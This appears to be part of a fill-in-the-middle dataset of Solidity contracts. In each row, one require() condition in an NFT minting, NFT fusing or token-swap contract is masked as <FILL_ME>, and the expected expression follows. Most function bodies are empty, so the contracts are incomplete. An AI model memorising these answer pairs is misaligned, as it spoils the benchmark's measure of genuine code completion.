// Creator: Chiru Labs
pragma solidity ^0.8.4;
/**
* @title ERC721A Queryable
* @dev ERC721A subclass with convenience query functions.
*/
abstract contract ERC721AQueryable is ERC721A, IERC721AQueryable {
/**
* @dev Returns the `TokenOwnership` struct at `tokenId` without reverting.
*
* If the `tokenId` is out of bounds:
* - `addr` = `address(0)`
* - `startTimestamp` = `0`
* - `burned` = `false`
* - `extraData` = `0`
*
* If the `tokenId` is burned:
* - `addr` = `<Address of owner before token was burned>`
* - `startTimestamp` = `<Timestamp when token was burned>`
* - `burned = `true`
* - `extraData` = `<Extra data when token was burned>`
*
* Otherwise:
* - `addr` = `<Address of owner>`
* - `startTimestamp` = `<Timestamp of start of ownership>`
* - `burned = `false`
* - `extraData` = `<Extra data at start of ownership>`
*/
function explicitOwnershipOf(uint256 tokenId) public view override returns (TokenOwnership memory) {
}
/**
* @dev Returns an array of `TokenOwnership` structs at `tokenIds` in order.
* See {ERC721AQueryable-explicitOwnershipOf}
*/
function explicitOwnershipsOf(uint256[] memory tokenIds) external view override returns (TokenOwnership[] memory) {
}
/**
* @dev Returns an array of token IDs owned by `owner`,
* in the range [`start`, `stop`)
* (i.e. `start <= tokenId < stop`).
*
* This function allows for tokens to be queried if the collection
* grows too big for a single call of {ERC721AQueryable-tokensOfOwner}.
*
* Requirements:
*
* - `start` < `stop`
*/
function tokensOfOwnerIn(
address owner,
uint256 start,
uint256 stop
) external view override returns (uint256[] memory) {
}
/**
* @dev Returns an array of token IDs owned by `owner`.
*
* This function scans the ownership mapping and is O(totalSupply) in complexity.
* It is meant to be called off-chain.
*
* See {ERC721AQueryable-tokensOfOwnerIn} for splitting the scan into
* multiple smaller scans if the collection is large enough to cause
* an out-of-gas error (10K pfp collections should be fine).
*/
function tokensOfOwner(address owner) external view override returns (uint256[] memory) {
}
}
pragma solidity >=0.8.9 <0.9.0;
contract Web3Spyders is ERC721AQueryable, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public immutable spyderSupply = 500;
uint256 private immutable arachnyxMint = 5;
uint256 public immutable spyderPerAddress = 2;
uint256 public spyderCost = 0.01 ether;
bool public paused = true;
string public uriPrefix = '';
string public uriSuffix = '.json';
string public spyderStuff = '';
constructor(string memory baseURI) ERC721A("Web3 Spyders", "SPYDR") {
}
modifier callerIsUser() {
}
function spyderMinted(address owner) public view returns (uint256) {
}
/// 0.01 is the price, 500 supply and 5 minted for dev.
function mintSpyder(uint256 _amount) public payable nonReentrant callerIsUser{
require(!paused, 'The contract is paused!');
require(spyderMinted(msg.sender) + _amount <= spyderPerAddress, 'Spyder Limit Reached');
require(<FILL_ME>)
require(_amount > 0 && _amount <= spyderPerAddress, 'Invalid mint amount!');
require(msg.value >= spyderCost, 'Insufficient funds!');
_safeMint(_msgSender(), _amount);
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setPaused() public onlyOwner {
}
function setSpyderCost(uint256 _spyderCost) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function withdraw() external nonReentrant onlyOwner{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
///Only spyder owners can write spyder stuff. This is free speech but please be respectful. Tell a joke or say anything. No time limit.
function writeStuff(string memory newstuff) public {
}
}
| totalSupply()+_amount<=(spyderSupply),'Max supply exceeded!' | 177,208 | totalSupply()+_amount<=(spyderSupply) |
'You dont own any spyders' | // ERC721A Contracts v4.1.0
// Creator: Chiru Labs
pragma solidity ^0.8.4;
/**
* @title ERC721A Queryable
* @dev ERC721A subclass with convenience query functions.
*/
abstract contract ERC721AQueryable is ERC721A, IERC721AQueryable {
/**
* @dev Returns the `TokenOwnership` struct at `tokenId` without reverting.
*
* If the `tokenId` is out of bounds:
* - `addr` = `address(0)`
* - `startTimestamp` = `0`
* - `burned` = `false`
* - `extraData` = `0`
*
* If the `tokenId` is burned:
* - `addr` = `<Address of owner before token was burned>`
* - `startTimestamp` = `<Timestamp when token was burned>`
* - `burned = `true`
* - `extraData` = `<Extra data when token was burned>`
*
* Otherwise:
* - `addr` = `<Address of owner>`
* - `startTimestamp` = `<Timestamp of start of ownership>`
* - `burned = `false`
* - `extraData` = `<Extra data at start of ownership>`
*/
function explicitOwnershipOf(uint256 tokenId) public view override returns (TokenOwnership memory) {
}
/**
* @dev Returns an array of `TokenOwnership` structs at `tokenIds` in order.
* See {ERC721AQueryable-explicitOwnershipOf}
*/
function explicitOwnershipsOf(uint256[] memory tokenIds) external view override returns (TokenOwnership[] memory) {
}
/**
* @dev Returns an array of token IDs owned by `owner`,
* in the range [`start`, `stop`)
* (i.e. `start <= tokenId < stop`).
*
* This function allows for tokens to be queried if the collection
* grows too big for a single call of {ERC721AQueryable-tokensOfOwner}.
*
* Requirements:
*
* - `start` < `stop`
*/
function tokensOfOwnerIn(
address owner,
uint256 start,
uint256 stop
) external view override returns (uint256[] memory) {
}
/**
* @dev Returns an array of token IDs owned by `owner`.
*
* This function scans the ownership mapping and is O(totalSupply) in complexity.
* It is meant to be called off-chain.
*
* See {ERC721AQueryable-tokensOfOwnerIn} for splitting the scan into
* multiple smaller scans if the collection is large enough to cause
* an out-of-gas error (10K pfp collections should be fine).
*/
function tokensOfOwner(address owner) external view override returns (uint256[] memory) {
}
}
pragma solidity >=0.8.9 <0.9.0;
contract Web3Spyders is ERC721AQueryable, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public immutable spyderSupply = 500;
uint256 private immutable arachnyxMint = 5;
uint256 public immutable spyderPerAddress = 2;
uint256 public spyderCost = 0.01 ether;
bool public paused = true;
string public uriPrefix = '';
string public uriSuffix = '.json';
string public spyderStuff = '';
constructor(string memory baseURI) ERC721A("Web3 Spyders", "SPYDR") {
}
modifier callerIsUser() {
}
function spyderMinted(address owner) public view returns (uint256) {
}
/// 0.01 is the price, 500 supply and 5 minted for dev.
function mintSpyder(uint256 _amount) public payable nonReentrant callerIsUser{
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setPaused() public onlyOwner {
}
function setSpyderCost(uint256 _spyderCost) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function withdraw() external nonReentrant onlyOwner{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
///Only spyder owners can write spyder stuff. This is free speech but please be respectful. Tell a joke or say anything. No time limit.
function writeStuff(string memory newstuff) public {
require(<FILL_ME>)
spyderStuff = newstuff;
}
}
| balanceOf(msg.sender)>=1,'You dont own any spyders' | 177,208 | balanceOf(msg.sender)>=1 |
"No team mints left" | pragma solidity ^0.8.4;
/*
EndRacistYachtClub.sol
Contract by @NftDoyler
*/
contract EndRacistYachtClub is Ownable, ERC721A {
uint256 constant public MAX_SUPPLY = 6969;
uint256 public TEAM_MINT_MAX = 300;
uint256 public publicPrice = 0.0025 ether;
uint256 constant public PUBLIC_MINT_LIMIT_TXN = 10;
uint256 constant public PUBLIC_MINT_LIMIT = 10;
uint256 public TOTAL_SUPPLY_TEAM;
string public revealedURI;
string public hiddenURI = "ipfs://QmYNg2jnYhaUfehcwe4DpQmzHYkaTNJ3ajovqBJjp79jWQ";
// OpenSea CONTRACT_URI - https://docs.opensea.io/docs/contract-level-metadata
string public CONTRACT_URI = "ipfs://QmYxtRu1VsCLFssLp2SwsakmRvfChHh75AetAPTakoHxGF";
bool public paused = true;
bool public revealed = false;
bool public freeSale = true;
bool public publicSale = false;
address public teamWallet = 0xe59eaE6b721a9851Dc5111aE2d256B442c697865;
mapping(address => bool) public userMintedFree;
mapping(address => uint256) public numUserMints;
constructor() ERC721A("End Racist Yacht Club", "ERYC") { }
/*
*
$$$$$$$\ $$\ $$\ $$$$$$$$\ $$\ $$\
$$ __$$\ \__| $$ | $$ _____| $$ | \__|
$$ | $$ | $$$$$$\ $$\ $$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\ $$ | $$\ $$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\ $$$$$$$\
$$$$$$$ |$$ __$$\ $$ |\$$\ $$ |\____$$\\_$$ _| $$ __$$\ $$$$$\ $$ | $$ |$$ __$$\ $$ _____|\_$$ _| $$ |$$ __$$\ $$ __$$\ $$ _____|
$$ ____/ $$ | \__|$$ | \$$\$$ / $$$$$$$ | $$ | $$$$$$$$ | $$ __|$$ | $$ |$$ | $$ |$$ / $$ | $$ |$$ / $$ |$$ | $$ |\$$$$$$\
$$ | $$ | $$ | \$$$ / $$ __$$ | $$ |$$\ $$ ____| $$ | $$ | $$ |$$ | $$ |$$ | $$ |$$\ $$ |$$ | $$ |$$ | $$ | \____$$\
$$ | $$ | $$ | \$ / \$$$$$$$ | \$$$$ |\$$$$$$$\ $$ | \$$$$$$ |$$ | $$ |\$$$$$$$\ \$$$$ |$$ |\$$$$$$ |$$ | $$ |$$$$$$$ |
\__| \__| \__| \_/ \_______| \____/ \_______| \__| \______/ \__| \__| \_______| \____/ \__| \______/ \__| \__|\_______/
*
*/
// This function is if you want to override the first Token ID# for ERC721A
// Note: Fun fact - by overloading this method you save a small amount of gas for minting (technically just the first mint)
function _startTokenId() internal view virtual override returns (uint256) {
}
function refundOverpay(uint256 price) private {
}
/*
*
$$$$$$$\ $$\ $$\ $$\ $$$$$$$$\ $$\ $$\
$$ __$$\ $$ | $$ |\__| $$ _____| $$ | \__|
$$ | $$ |$$\ $$\ $$$$$$$\ $$ |$$\ $$$$$$$\ $$ | $$\ $$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\ $$$$$$$\
$$$$$$$ |$$ | $$ |$$ __$$\ $$ |$$ |$$ _____| $$$$$\ $$ | $$ |$$ __$$\ $$ _____|\_$$ _| $$ |$$ __$$\ $$ __$$\ $$ _____|
$$ ____/ $$ | $$ |$$ | $$ |$$ |$$ |$$ / $$ __|$$ | $$ |$$ | $$ |$$ / $$ | $$ |$$ / $$ |$$ | $$ |\$$$$$$\
$$ | $$ | $$ |$$ | $$ |$$ |$$ |$$ | $$ | $$ | $$ |$$ | $$ |$$ | $$ |$$\ $$ |$$ | $$ |$$ | $$ | \____$$\
$$ | \$$$$$$ |$$$$$$$ |$$ |$$ |\$$$$$$$\ $$ | \$$$$$$ |$$ | $$ |\$$$$$$$\ \$$$$ |$$ |\$$$$$$ |$$ | $$ |$$$$$$$ |
\__| \______/ \_______/ \__|\__| \_______| \__| \______/ \__| \__| \_______| \____/ \__| \______/ \__| \__|\_______/
*
*/
function teamMint(uint256 quantity) public payable mintCompliance(quantity) {
require(msg.sender == teamWallet, "Team minting only");
require(<FILL_ME>)
TOTAL_SUPPLY_TEAM += quantity;
_safeMint(msg.sender, quantity);
}
function freeMint(uint256 quantity) external payable mintCompliance(quantity) {
}
function publicMint(uint256 quantity) external payable mintCompliance(quantity) {
}
/*
*
$$\ $$\ $$\ $$$$$$$$\ $$\ $$\
$$ | $$ |\__| $$ _____| $$ | \__|
$$ | $$ |$$\ $$$$$$\ $$\ $$\ $$\ $$ | $$\ $$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\ $$$$$$$\
\$$\ $$ |$$ |$$ __$$\ $$ | $$ | $$ | $$$$$\ $$ | $$ |$$ __$$\ $$ _____|\_$$ _| $$ |$$ __$$\ $$ __$$\ $$ _____|
\$$\$$ / $$ |$$$$$$$$ |$$ | $$ | $$ | $$ __|$$ | $$ |$$ | $$ |$$ / $$ | $$ |$$ / $$ |$$ | $$ |\$$$$$$\
\$$$ / $$ |$$ ____|$$ | $$ | $$ | $$ | $$ | $$ |$$ | $$ |$$ | $$ |$$\ $$ |$$ | $$ |$$ | $$ | \____$$\
\$ / $$ |\$$$$$$$\ \$$$$$\$$$$ | $$ | \$$$$$$ |$$ | $$ |\$$$$$$$\ \$$$$ |$$ |\$$$$$$ |$$ | $$ |$$$$$$$ |
\_/ \__| \_______| \_____\____/ \__| \______/ \__| \__| \_______| \____/ \__| \______/ \__| \__|\_______/
*
*/
// Note: walletOfOwner is only really necessary for enumerability when staking/using on websites etc.
// That said, it's a public view so we can keep it in.
// This could also be optimized if someone REALLY wanted, but it's just a public view.
// Check the pinned tweets of 0xInuarashi for more ideas on this method!
// For now, this is just the version that existed in v1.
function walletOfOwner(address _owner) public view returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
// https://docs.opensea.io/docs/contract-level-metadata
// https://ethereum.stackexchange.com/questions/110924/how-to-properly-implement-a-contracturi-for-on-chain-nfts
function contractURI() public view returns (string memory) {
}
/*
*
$$$$$$\ $$$$$$$$\ $$\ $$\
$$ __$$\ $$ _____| $$ | \__|
$$ / $$ |$$\ $$\ $$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$ | $$\ $$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\ $$$$$$$\
$$ | $$ |$$ | $$ | $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$$$$\ $$ | $$ |$$ __$$\ $$ _____|\_$$ _| $$ |$$ __$$\ $$ __$$\ $$ _____|
$$ | $$ |$$ | $$ | $$ |$$ | $$ |$$$$$$$$ |$$ | \__| $$ __|$$ | $$ |$$ | $$ |$$ / $$ | $$ |$$ / $$ |$$ | $$ |\$$$$$$\
$$ | $$ |$$ | $$ | $$ |$$ | $$ |$$ ____|$$ | $$ | $$ | $$ |$$ | $$ |$$ | $$ |$$\ $$ |$$ | $$ |$$ | $$ | \____$$\
$$$$$$ |\$$$$$\$$$$ |$$ | $$ |\$$$$$$$\ $$ | $$ | \$$$$$$ |$$ | $$ |\$$$$$$$\ \$$$$ |$$ |\$$$$$$ |$$ | $$ |$$$$$$$ |
\______/ \_____\____/ \__| \__| \_______|\__| \__| \______/ \__| \__| \_______| \____/ \__| \______/ \__| \__|\_______/
*
*/
function setTeamMintMax(uint256 _teamMintMax) public onlyOwner {
}
function setPublicPrice(uint256 _publicPrice) public onlyOwner {
}
function setBaseURI(string memory _baseUri) public onlyOwner {
}
// Note: This method can be hidden/removed if this is a constant.
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function revealCollection(bool _revealed, string memory _baseUri) public onlyOwner {
}
// https://docs.opensea.io/docs/contract-level-metadata
function setContractURI(string memory _contractURI) public onlyOwner {
}
// Note: Another option is to inherit Pausable without implementing the logic yourself.
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/Pausable.sol
function setPaused(bool _state) public onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function setPublicEnabled(bool _state) public onlyOwner {
}
function setFreeEnabled(bool _state) public onlyOwner {
}
function setTeamWalletAddress(address _teamWallet) public onlyOwner {
}
function withdraw() external payable onlyOwner {
}
// Owner-only mint functionality to "Airdrop" mints to specific users
// Note: These will likely end up hidden on OpenSea
function mintToUser(uint256 quantity, address receiver) public onlyOwner mintCompliance(quantity) {
}
/*
*
$$\ $$\ $$\ $$\ $$$$$$\ $$\
$$$\ $$$ | $$ |\__|$$ __$$\ \__|
$$$$\ $$$$ | $$$$$$\ $$$$$$$ |$$\ $$ / \__|$$\ $$$$$$\ $$$$$$\ $$$$$$$\
$$\$$\$$ $$ |$$ __$$\ $$ __$$ |$$ |$$$$\ $$ |$$ __$$\ $$ __$$\ $$ _____|
$$ \$$$ $$ |$$ / $$ |$$ / $$ |$$ |$$ _| $$ |$$$$$$$$ |$$ | \__|\$$$$$$\
$$ |\$ /$$ |$$ | $$ |$$ | $$ |$$ |$$ | $$ |$$ ____|$$ | \____$$\
$$ | \_/ $$ |\$$$$$$ |\$$$$$$$ |$$ |$$ | $$ |\$$$$$$$\ $$ | $$$$$$$ |
\__| \__| \______/ \_______|\__|\__| \__| \_______|\__| \_______/
*
*/
modifier mintCompliance(uint256 quantity) {
}
}
| TOTAL_SUPPLY_TEAM+quantity<=TEAM_MINT_MAX,"No team mints left" | 177,365 | TOTAL_SUPPLY_TEAM+quantity<=TEAM_MINT_MAX |
"claimRedPanda: you are not owner of this panda" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC1155.sol";
import "./interfaces/IPanda.sol";
import "./interfaces/IPandaFarms.sol";
contract Fuser is Ownable {
// @dev Panda Farms erc1155
IPandaFarms public farms;
// @dev Genesis panda erc721
IPanda public genesisPanda;
// @dev Red panda genesis erc721
IPanda public redPanda;
// @dev Crazy panda genesis erc721
IPanda public crazyPanda;
// @dev Crazy panda max total supply
uint256 public maxCrazyPandaSupply;
/**
* @notice Constructor
* @param _farms Panda farms collection
* @param _genesisPanda Genesis panda collection
* @param _redPanda Red panda collection
* @param _crazyPanda Crazy panda collection
* @param _maxCrazyPandaSupply Crazy panda max total supply
*/
constructor(
IPandaFarms _farms,
IPanda _genesisPanda,
IPanda _redPanda,
IPanda _crazyPanda,
uint256 _maxCrazyPandaSupply
) {
}
/**
* @notice Set Panda farms collection
* @param newFarms Panda farms collection address
*/
function setFarms(IPandaFarms newFarms) external onlyOwner {
}
/**
* @notice Set Genesis Panda collection
* @param newGenesisPanda Genesis Panda collection address
*/
function setGenesisPanda(IPanda newGenesisPanda) external onlyOwner {
}
/**
* @notice Set Red Panda collection
* @param newRedPanda Red Panda collection address
*/
function setRedPanda(IPanda newRedPanda) external onlyOwner {
}
/**
* @notice Set Crazy Panda collection
* @param newCrazyPanda Crazy Panda collection address
*/
function setCrazyPanda(IPanda newCrazyPanda) external onlyOwner {
}
/**
* @notice Set max Crazy Panda supply
* @param newMaxCrazyPandaSupply Crazy Panda max supply
*/
function seMaxCrazyPandaSupply(uint256 newMaxCrazyPandaSupply) external onlyOwner {
}
/**
* @notice Claim Red Panda nft
* @param tokenId Token Id of Genesis Panda
*/
function claimRedPanda(uint256 tokenId) external {
address sender = msg.sender;
require(<FILL_ME>)
farms.burn(sender, 3, 1);
redPanda.safeMint(sender);
}
/**
* @notice Claim Crazy Panda nft
* @param tokenId Token Id of Red Panda
*/
function claimCrazyPanda(uint256 tokenId) external {
}
}
| genesisPanda.ownerOf(tokenId)==msg.sender,"claimRedPanda: you are not owner of this panda" | 177,502 | genesisPanda.ownerOf(tokenId)==msg.sender |
"claimCrazyPanda: exceeds max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC1155.sol";
import "./interfaces/IPanda.sol";
import "./interfaces/IPandaFarms.sol";
contract Fuser is Ownable {
// @dev Panda Farms erc1155
IPandaFarms public farms;
// @dev Genesis panda erc721
IPanda public genesisPanda;
// @dev Red panda genesis erc721
IPanda public redPanda;
// @dev Crazy panda genesis erc721
IPanda public crazyPanda;
// @dev Crazy panda max total supply
uint256 public maxCrazyPandaSupply;
/**
* @notice Constructor
* @param _farms Panda farms collection
* @param _genesisPanda Genesis panda collection
* @param _redPanda Red panda collection
* @param _crazyPanda Crazy panda collection
* @param _maxCrazyPandaSupply Crazy panda max total supply
*/
constructor(
IPandaFarms _farms,
IPanda _genesisPanda,
IPanda _redPanda,
IPanda _crazyPanda,
uint256 _maxCrazyPandaSupply
) {
}
/**
* @notice Set Panda farms collection
* @param newFarms Panda farms collection address
*/
function setFarms(IPandaFarms newFarms) external onlyOwner {
}
/**
* @notice Set Genesis Panda collection
* @param newGenesisPanda Genesis Panda collection address
*/
function setGenesisPanda(IPanda newGenesisPanda) external onlyOwner {
}
/**
* @notice Set Red Panda collection
* @param newRedPanda Red Panda collection address
*/
function setRedPanda(IPanda newRedPanda) external onlyOwner {
}
/**
* @notice Set Crazy Panda collection
* @param newCrazyPanda Crazy Panda collection address
*/
function setCrazyPanda(IPanda newCrazyPanda) external onlyOwner {
}
/**
* @notice Set max Crazy Panda supply
* @param newMaxCrazyPandaSupply Crazy Panda max supply
*/
function seMaxCrazyPandaSupply(uint256 newMaxCrazyPandaSupply) external onlyOwner {
}
/**
* @notice Claim Red Panda nft
* @param tokenId Token Id of Genesis Panda
*/
function claimRedPanda(uint256 tokenId) external {
}
/**
* @notice Claim Crazy Panda nft
* @param tokenId Token Id of Red Panda
*/
function claimCrazyPanda(uint256 tokenId) external {
address sender = msg.sender;
require(<FILL_ME>)
require(redPanda.ownerOf(tokenId) == msg.sender, "claimRedPanda: you are not owner of this panda");
farms.burn(sender, 3, 1);
crazyPanda.safeMint(sender);
}
}
| crazyPanda.totalSupply()<maxCrazyPandaSupply,"claimCrazyPanda: exceeds max supply" | 177,502 | crazyPanda.totalSupply()<maxCrazyPandaSupply |
"claimRedPanda: you are not owner of this panda" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC1155.sol";
import "./interfaces/IPanda.sol";
import "./interfaces/IPandaFarms.sol";
contract Fuser is Ownable {
// @dev Panda Farms erc1155
IPandaFarms public farms;
// @dev Genesis panda erc721
IPanda public genesisPanda;
// @dev Red panda genesis erc721
IPanda public redPanda;
// @dev Crazy panda genesis erc721
IPanda public crazyPanda;
// @dev Crazy panda max total supply
uint256 public maxCrazyPandaSupply;
/**
* @notice Constructor
* @param _farms Panda farms collection
* @param _genesisPanda Genesis panda collection
* @param _redPanda Red panda collection
* @param _crazyPanda Crazy panda collection
* @param _maxCrazyPandaSupply Crazy panda max total supply
*/
constructor(
IPandaFarms _farms,
IPanda _genesisPanda,
IPanda _redPanda,
IPanda _crazyPanda,
uint256 _maxCrazyPandaSupply
) {
}
/**
* @notice Set Panda farms collection
* @param newFarms Panda farms collection address
*/
function setFarms(IPandaFarms newFarms) external onlyOwner {
}
/**
* @notice Set Genesis Panda collection
* @param newGenesisPanda Genesis Panda collection address
*/
function setGenesisPanda(IPanda newGenesisPanda) external onlyOwner {
}
/**
* @notice Set Red Panda collection
* @param newRedPanda Red Panda collection address
*/
function setRedPanda(IPanda newRedPanda) external onlyOwner {
}
/**
* @notice Set Crazy Panda collection
* @param newCrazyPanda Crazy Panda collection address
*/
function setCrazyPanda(IPanda newCrazyPanda) external onlyOwner {
}
/**
* @notice Set max Crazy Panda supply
* @param newMaxCrazyPandaSupply Crazy Panda max supply
*/
function seMaxCrazyPandaSupply(uint256 newMaxCrazyPandaSupply) external onlyOwner {
}
/**
* @notice Claim Red Panda nft
* @param tokenId Token Id of Genesis Panda
*/
function claimRedPanda(uint256 tokenId) external {
}
/**
* @notice Claim Crazy Panda nft
* @param tokenId Token Id of Red Panda
*/
function claimCrazyPanda(uint256 tokenId) external {
address sender = msg.sender;
require(crazyPanda.totalSupply() < maxCrazyPandaSupply, "claimCrazyPanda: exceeds max supply");
require(<FILL_ME>)
farms.burn(sender, 3, 1);
crazyPanda.safeMint(sender);
}
}
| redPanda.ownerOf(tokenId)==msg.sender,"claimRedPanda: you are not owner of this panda" | 177,502 | redPanda.ownerOf(tokenId)==msg.sender |
"Invalid token address" | pragma solidity ^0.8.20;
contract TokenSwap is Ownable {
IERC20 public tokenX;
IERC20 public tokenY;
uint256 public exchangeRate;
mapping(address => uint256) public userTokenXAmount;
bool public swapTokensEnabled = true;
bool public claimTokensEnabled = true;
event TokensSwapped(address indexed user, uint256 amountX, uint256 totalAmountY, uint256 exchangeRate);
event TokensClaimed(address indexed user, uint256 claimedAmountY);
event ExchangeRateUpdated(uint256 newExchangeRate);
event TokenYUpdated(address newTokenY);
event SwapTokensEnabled(bool enabled);
event ClaimTokensEnabled(bool enabled);
constructor(IERC20 _tokenX, uint256 _initialExchangeRate, address initialOwner) Ownable(initialOwner) {
}
modifier swapTokensEnabledOnly() {
}
modifier claimTokensEnabledOnly() {
}
function setTokenY(IERC20 _tokenY) external onlyOwner {
require(<FILL_ME>)
tokenY = _tokenY;
emit TokenYUpdated(address(_tokenY));
}
function depositTokens(uint256 amount) external onlyOwner {
}
function swapTokens(uint256 amount) external swapTokensEnabledOnly {
}
function claimTokens() external claimTokensEnabledOnly {
}
function withdrawTokensX(uint256 amount) external onlyOwner {
}
function withdrawTokensY(uint256 amount) external onlyOwner {
}
function changeOwner(address newOwner) external onlyOwner {
}
function setExchangeRate(uint256 newExchangeRate) external onlyOwner {
}
function enableSwapTokens(bool _enabled) external onlyOwner {
}
function enableClaimTokens(bool _enabled) external onlyOwner {
}
}
| address(_tokenY)!=address(0),"Invalid token address" | 177,515 | address(_tokenY)!=address(0) |
"Token transfer failed" | pragma solidity ^0.8.20;
contract TokenSwap is Ownable {
IERC20 public tokenX;
IERC20 public tokenY;
uint256 public exchangeRate;
mapping(address => uint256) public userTokenXAmount;
bool public swapTokensEnabled = true;
bool public claimTokensEnabled = true;
event TokensSwapped(address indexed user, uint256 amountX, uint256 totalAmountY, uint256 exchangeRate);
event TokensClaimed(address indexed user, uint256 claimedAmountY);
event ExchangeRateUpdated(uint256 newExchangeRate);
event TokenYUpdated(address newTokenY);
event SwapTokensEnabled(bool enabled);
event ClaimTokensEnabled(bool enabled);
constructor(IERC20 _tokenX, uint256 _initialExchangeRate, address initialOwner) Ownable(initialOwner) {
}
modifier swapTokensEnabledOnly() {
}
modifier claimTokensEnabledOnly() {
}
function setTokenY(IERC20 _tokenY) external onlyOwner {
}
function depositTokens(uint256 amount) external onlyOwner {
require(amount > 0, "Amount must be greater than zero");
require(<FILL_ME>)
}
function swapTokens(uint256 amount) external swapTokensEnabledOnly {
}
function claimTokens() external claimTokensEnabledOnly {
}
function withdrawTokensX(uint256 amount) external onlyOwner {
}
function withdrawTokensY(uint256 amount) external onlyOwner {
}
function changeOwner(address newOwner) external onlyOwner {
}
function setExchangeRate(uint256 newExchangeRate) external onlyOwner {
}
function enableSwapTokens(bool _enabled) external onlyOwner {
}
function enableClaimTokens(bool _enabled) external onlyOwner {
}
}
| tokenY.transferFrom(msg.sender,address(this),amount),"Token transfer failed" | 177,515 | tokenY.transferFrom(msg.sender,address(this),amount) |
"Token transfer failed" | pragma solidity ^0.8.20;
contract TokenSwap is Ownable {
IERC20 public tokenX;
IERC20 public tokenY;
uint256 public exchangeRate;
mapping(address => uint256) public userTokenXAmount;
bool public swapTokensEnabled = true;
bool public claimTokensEnabled = true;
event TokensSwapped(address indexed user, uint256 amountX, uint256 totalAmountY, uint256 exchangeRate);
event TokensClaimed(address indexed user, uint256 claimedAmountY);
event ExchangeRateUpdated(uint256 newExchangeRate);
event TokenYUpdated(address newTokenY);
event SwapTokensEnabled(bool enabled);
event ClaimTokensEnabled(bool enabled);
constructor(IERC20 _tokenX, uint256 _initialExchangeRate, address initialOwner) Ownable(initialOwner) {
}
modifier swapTokensEnabledOnly() {
}
modifier claimTokensEnabledOnly() {
}
function setTokenY(IERC20 _tokenY) external onlyOwner {
}
function depositTokens(uint256 amount) external onlyOwner {
}
function swapTokens(uint256 amount) external swapTokensEnabledOnly {
require(amount > 0, "Amount must be greater than zero");
require(<FILL_ME>)
uint256 totalAmountY = (amount * exchangeRate) / 100;
userTokenXAmount[msg.sender] += totalAmountY;
emit TokensSwapped(msg.sender, amount, userTokenXAmount[msg.sender], exchangeRate);
}
function claimTokens() external claimTokensEnabledOnly {
}
function withdrawTokensX(uint256 amount) external onlyOwner {
}
function withdrawTokensY(uint256 amount) external onlyOwner {
}
function changeOwner(address newOwner) external onlyOwner {
}
function setExchangeRate(uint256 newExchangeRate) external onlyOwner {
}
function enableSwapTokens(bool _enabled) external onlyOwner {
}
function enableClaimTokens(bool _enabled) external onlyOwner {
}
}
| tokenX.transferFrom(msg.sender,address(this),amount),"Token transfer failed" | 177,515 | tokenX.transferFrom(msg.sender,address(this),amount) |
"Token transfer failed" | pragma solidity ^0.8.20;
contract TokenSwap is Ownable {
IERC20 public tokenX;
IERC20 public tokenY;
uint256 public exchangeRate;
mapping(address => uint256) public userTokenXAmount;
bool public swapTokensEnabled = true;
bool public claimTokensEnabled = true;
event TokensSwapped(address indexed user, uint256 amountX, uint256 totalAmountY, uint256 exchangeRate);
event TokensClaimed(address indexed user, uint256 claimedAmountY);
event ExchangeRateUpdated(uint256 newExchangeRate);
event TokenYUpdated(address newTokenY);
event SwapTokensEnabled(bool enabled);
event ClaimTokensEnabled(bool enabled);
constructor(IERC20 _tokenX, uint256 _initialExchangeRate, address initialOwner) Ownable(initialOwner) {
}
modifier swapTokensEnabledOnly() {
}
modifier claimTokensEnabledOnly() {
}
function setTokenY(IERC20 _tokenY) external onlyOwner {
}
function depositTokens(uint256 amount) external onlyOwner {
}
function swapTokens(uint256 amount) external swapTokensEnabledOnly {
}
function claimTokens() external claimTokensEnabledOnly {
uint256 claimedAmountY = userTokenXAmount[msg.sender];
require(claimedAmountY > 0, "No tokens to claim");
userTokenXAmount[msg.sender] = 0;
require(<FILL_ME>)
emit TokensClaimed(msg.sender, claimedAmountY);
}
function withdrawTokensX(uint256 amount) external onlyOwner {
}
function withdrawTokensY(uint256 amount) external onlyOwner {
}
function changeOwner(address newOwner) external onlyOwner {
}
function setExchangeRate(uint256 newExchangeRate) external onlyOwner {
}
function enableSwapTokens(bool _enabled) external onlyOwner {
}
function enableClaimTokens(bool _enabled) external onlyOwner {
}
}
| tokenY.transfer(msg.sender,claimedAmountY),"Token transfer failed" | 177,515 | tokenY.transfer(msg.sender,claimedAmountY) |
"Token transfer failed" | pragma solidity ^0.8.20;
contract TokenSwap is Ownable {
IERC20 public tokenX;
IERC20 public tokenY;
uint256 public exchangeRate;
mapping(address => uint256) public userTokenXAmount;
bool public swapTokensEnabled = true;
bool public claimTokensEnabled = true;
